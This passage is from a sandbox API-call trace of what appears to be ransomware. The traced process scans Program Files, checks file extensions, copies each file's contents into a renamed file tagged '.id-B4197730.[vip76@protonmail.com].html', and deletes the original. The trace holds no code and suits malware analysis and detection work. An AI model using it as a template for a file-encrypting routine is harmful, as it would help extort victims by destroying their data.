	[0168.559] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.559] lstrlenW (lpString=".pdf") returned 4
	[0168.559] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.560] lstrlenW (lpString=".xls") returned 4
	[0168.560] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.560] lstrlenW (lpString=".xlsx") returned 5
	[0168.560] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.560] lstrlenW (lpString=".ppt") returned 4
	[0168.560] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.560] lstrlenW (lpString=".zip") returned 4
	[0168.560] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.560] lstrlenW (lpString=".rar") returned 4
	[0168.560] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.560] lstrlenW (lpString=".bz2") returned 4
	[0168.560] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.560] lstrlenW (lpString=".7z") returned 3
	[0168.560] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.560] lstrlenW (lpString=".dbf") returned 4
	[0168.560] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.560] lstrlenW (lpString=".1cd") returned 4
	[0168.560] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.560] lstrlenW (lpString=".jpg") returned 4
	[0168.560] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.560] lstrlenW (lpString=".doc") returned 4
	[0168.560] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.560] lstrlenW (lpString=".docx") returned 5
	[0168.560] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.561] lstrlenW (lpString=".pdf") returned 4
	[0168.561] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.561] lstrlenW (lpString=".xls") returned 4
	[0168.561] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.561] lstrlenW (lpString=".xlsx") returned 5
	[0168.561] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.561] lstrlenW (lpString=".ppt") returned 4
	[0168.561] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.561] lstrlenW (lpString=".zip") returned 4
	[0168.561] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.561] lstrlenW (lpString=".rar") returned 4
	[0168.561] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.561] lstrlenW (lpString=".bz2") returned 4
	[0168.561] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.561] lstrlenW (lpString=".7z") returned 3
	[0168.561] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.561] lstrlenW (lpString=".dbf") returned 4
	[0168.561] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.561] lstrlenW (lpString=".1cd") returned 4
	[0168.561] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.561] lstrlenW (lpString=".jpg") returned 4
	[0168.561] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.562] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.562] lstrlenW (lpString="tabskb.dll.mui") returned 14
	[0168.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.563] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=5120) returned 1
	[0168.563] CloseHandle (hObject=0x4b0) returned 1
	[0168.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20
	[0168.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0168.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0168.564] lstrlenW (lpString=".doc") returned 4
	[0168.564] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.564] lstrlenW (lpString=".docx") returned 5
	[0168.564] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.564] lstrlenW (lpString=".pdf") returned 4
	[0168.564] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.564] lstrlenW (lpString=".xls") returned 4
	[0168.564] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.564] lstrlenW (lpString=".xlsx") returned 5
	[0168.564] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.564] lstrlenW (lpString=".ppt") returned 4
	[0168.564] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0168.564] lstrlenW (lpString=".zip") returned 4
	[0168.564] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.564] lstrlenW (lpString=".rar") returned 4
	[0168.564] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.564] lstrlenW (lpString=".bz2") returned 4
	[0168.564] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.564] lstrlenW (lpString=".7z") returned 3
	[0168.564] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0168.567] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x443f8c8, Size=0x2000) returned 0x443f8c8
	[0168.567] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.581] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0169.280] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.280] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.280] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0169.283] GetLastError () returned 0x0
	[0169.283] ReadFile (in: hFile=0x518, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x562, lpOverlapped=0x0) returned 1
	[0169.299] WriteFile (in: hFile=0x520, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x570, lpOverlapped=0x0) returned 1
	[0169.301] ReadFile (in: hFile=0x518, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.301] WriteFile (in: hFile=0x520, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0169.301] SetEndOfFile (hFile=0x520) returned 1
	[0169.301] CloseHandle (hObject=0x520) returned 1
	[0169.301] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.301] SetEndOfFile (hFile=0x518) returned 1
	[0169.304] CloseHandle (hObject=0x518) returned 1
	[0169.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0169.304] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1
	[0169.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.305] lstrlenW (lpString=".doc") returned 4
	[0169.305] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0169.305] lstrlenW (lpString=".docx") returned 5
	[0169.305] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0169.305] lstrlenW (lpString=".pdf") returned 4
	[0169.305] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0169.305] lstrlenW (lpString=".xls") returned 4
	[0169.305] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0169.305] lstrlenW (lpString=".xlsx") returned 5
	[0169.306] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0169.306] lstrlenW (lpString=".ppt") returned 4
	[0169.306] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0169.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.306] lstrlenW (lpString=".zip") returned 4
	[0169.306] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0169.306] lstrlenW (lpString=".rar") returned 4
	[0169.306] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0169.306] lstrlenW (lpString=".bz2") returned 4
	[0169.306] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0169.306] lstrlenW (lpString=".7z") returned 3
	[0169.306] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0169.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.306] lstrlenW (lpString=".dbf") returned 4
	[0169.306] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0169.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.306] lstrlenW (lpString=".1cd") returned 4
	[0169.306] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0169.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.306] lstrlenW (lpString=".jpg") returned 4
	[0169.306] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0169.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.306] lstrlenW (lpString=".doc") returned 4
	[0169.306] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0169.306] lstrlenW (lpString=".docx") returned 5
	[0169.306] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0169.306] lstrlenW (lpString=".pdf") returned 4
	[0169.306] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0169.307] lstrlenW (lpString=".xls") returned 4
	[0169.307] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0169.307] lstrlenW (lpString=".xlsx") returned 5
	[0169.307] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0169.307] lstrlenW (lpString=".ppt") returned 4
	[0169.307] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0169.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.307] lstrlenW (lpString=".zip") returned 4
	[0169.307] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0169.307] lstrlenW (lpString=".rar") returned 4
	[0169.307] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0169.307] lstrlenW (lpString=".bz2") returned 4
	[0169.307] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0169.307] lstrlenW (lpString=".7z") returned 3
	[0169.307] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0169.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.307] lstrlenW (lpString=".dbf") returned 4
	[0169.307] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0169.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.307] lstrlenW (lpString=".1cd") returned 4
	[0169.307] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0169.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0169.307] lstrlenW (lpString=".jpg") returned 4
	[0169.307] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0169.307] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0169.307] lstrlenW (lpString="charsets.jar") returned 12
	[0169.308] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0169.309] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3036922) returned 1
	[0169.309] CloseHandle (hObject=0x518) returned 1
	[0169.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20
	[0169.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0169.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.309] lstrlenW (lpString=".doc") returned 4
	[0169.309] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0169.309] lstrlenW (lpString=".docx") returned 5
	[0169.309] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0169.309] lstrlenW (lpString=".pdf") returned 4
	[0169.309] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0169.310] lstrlenW (lpString=".xls") returned 4
	[0169.310] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0169.310] lstrlenW (lpString=".xlsx") returned 5
	[0169.310] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0169.310] lstrlenW (lpString=".ppt") returned 4
	[0169.310] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.310] lstrlenW (lpString=".zip") returned 4
	[0169.310] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0169.310] lstrlenW (lpString=".rar") returned 4
	[0169.310] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0169.310] lstrlenW (lpString=".bz2") returned 4
	[0169.310] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0169.310] lstrlenW (lpString=".7z") returned 3
	[0169.310] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.310] lstrlenW (lpString=".dbf") returned 4
	[0169.310] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.310] lstrlenW (lpString=".1cd") returned 4
	[0169.310] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.310] lstrlenW (lpString=".jpg") returned 4
	[0169.310] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.310] lstrlenW (lpString=".doc") returned 4
	[0169.310] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0169.310] lstrlenW (lpString=".docx") returned 5
	[0169.310] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0169.311] lstrlenW (lpString=".pdf") returned 4
	[0169.311] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0169.311] lstrlenW (lpString=".xls") returned 4
	[0169.311] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0169.311] lstrlenW (lpString=".xlsx") returned 5
	[0169.311] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0169.311] lstrlenW (lpString=".ppt") returned 4
	[0169.311] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.311] lstrlenW (lpString=".zip") returned 4
	[0169.311] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0169.311] lstrlenW (lpString=".rar") returned 4
	[0169.311] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0169.311] lstrlenW (lpString=".bz2") returned 4
	[0169.311] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0169.311] lstrlenW (lpString=".7z") returned 3
	[0169.311] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.311] lstrlenW (lpString=".dbf") returned 4
	[0169.311] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.311] lstrlenW (lpString=".1cd") returned 4
	[0169.311] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0169.311] lstrlenW (lpString=".jpg") returned 4
	[0169.311] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0169.311] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".html") returned -1
	[0169.312] lstrlenW (lpString="classlist") returned 9
	[0169.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0169.312] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=84355) returned 1
	[0169.312] CloseHandle (hObject=0x518) returned 1
	[0169.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20
	[0169.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0169.313] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.313] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0169.313] GetLastError () returned 0x0
	[0169.313] ReadFile (in: hFile=0x518, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x14983, lpOverlapped=0x0) returned 1
	[0169.580] WriteFile (in: hFile=0x520, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x14990, lpOverlapped=0x0) returned 1
	[0169.583] ReadFile (in: hFile=0x518, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.583] WriteFile (in: hFile=0x520, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0169.583] SetEndOfFile (hFile=0x520) returned 1
	[0169.583] CloseHandle (hObject=0x520) returned 1
	[0169.583] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.583] SetEndOfFile (hFile=0x518) returned 1
	[0169.587] CloseHandle (hObject=0x518) returned 1
	[0169.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0169.588] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1
	[0169.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.589] lstrlenW (lpString=".doc") returned 4
	[0169.589] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0169.589] lstrlenW (lpString=".docx") returned 5
	[0169.589] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1
	[0169.589] lstrlenW (lpString=".pdf") returned 4
	[0169.589] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0169.589] lstrlenW (lpString=".xls") returned 4
	[0169.589] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0169.589] lstrlenW (lpString=".xlsx") returned 5
	[0169.589] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1
	[0169.589] lstrlenW (lpString=".ppt") returned 4
	[0169.589] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0169.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.589] lstrlenW (lpString=".zip") returned 4
	[0169.589] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0169.589] lstrlenW (lpString=".rar") returned 4
	[0169.589] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0169.589] lstrlenW (lpString=".bz2") returned 4
	[0169.589] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0169.589] lstrlenW (lpString=".7z") returned 3
	[0169.589] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0169.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.590] lstrlenW (lpString=".dbf") returned 4
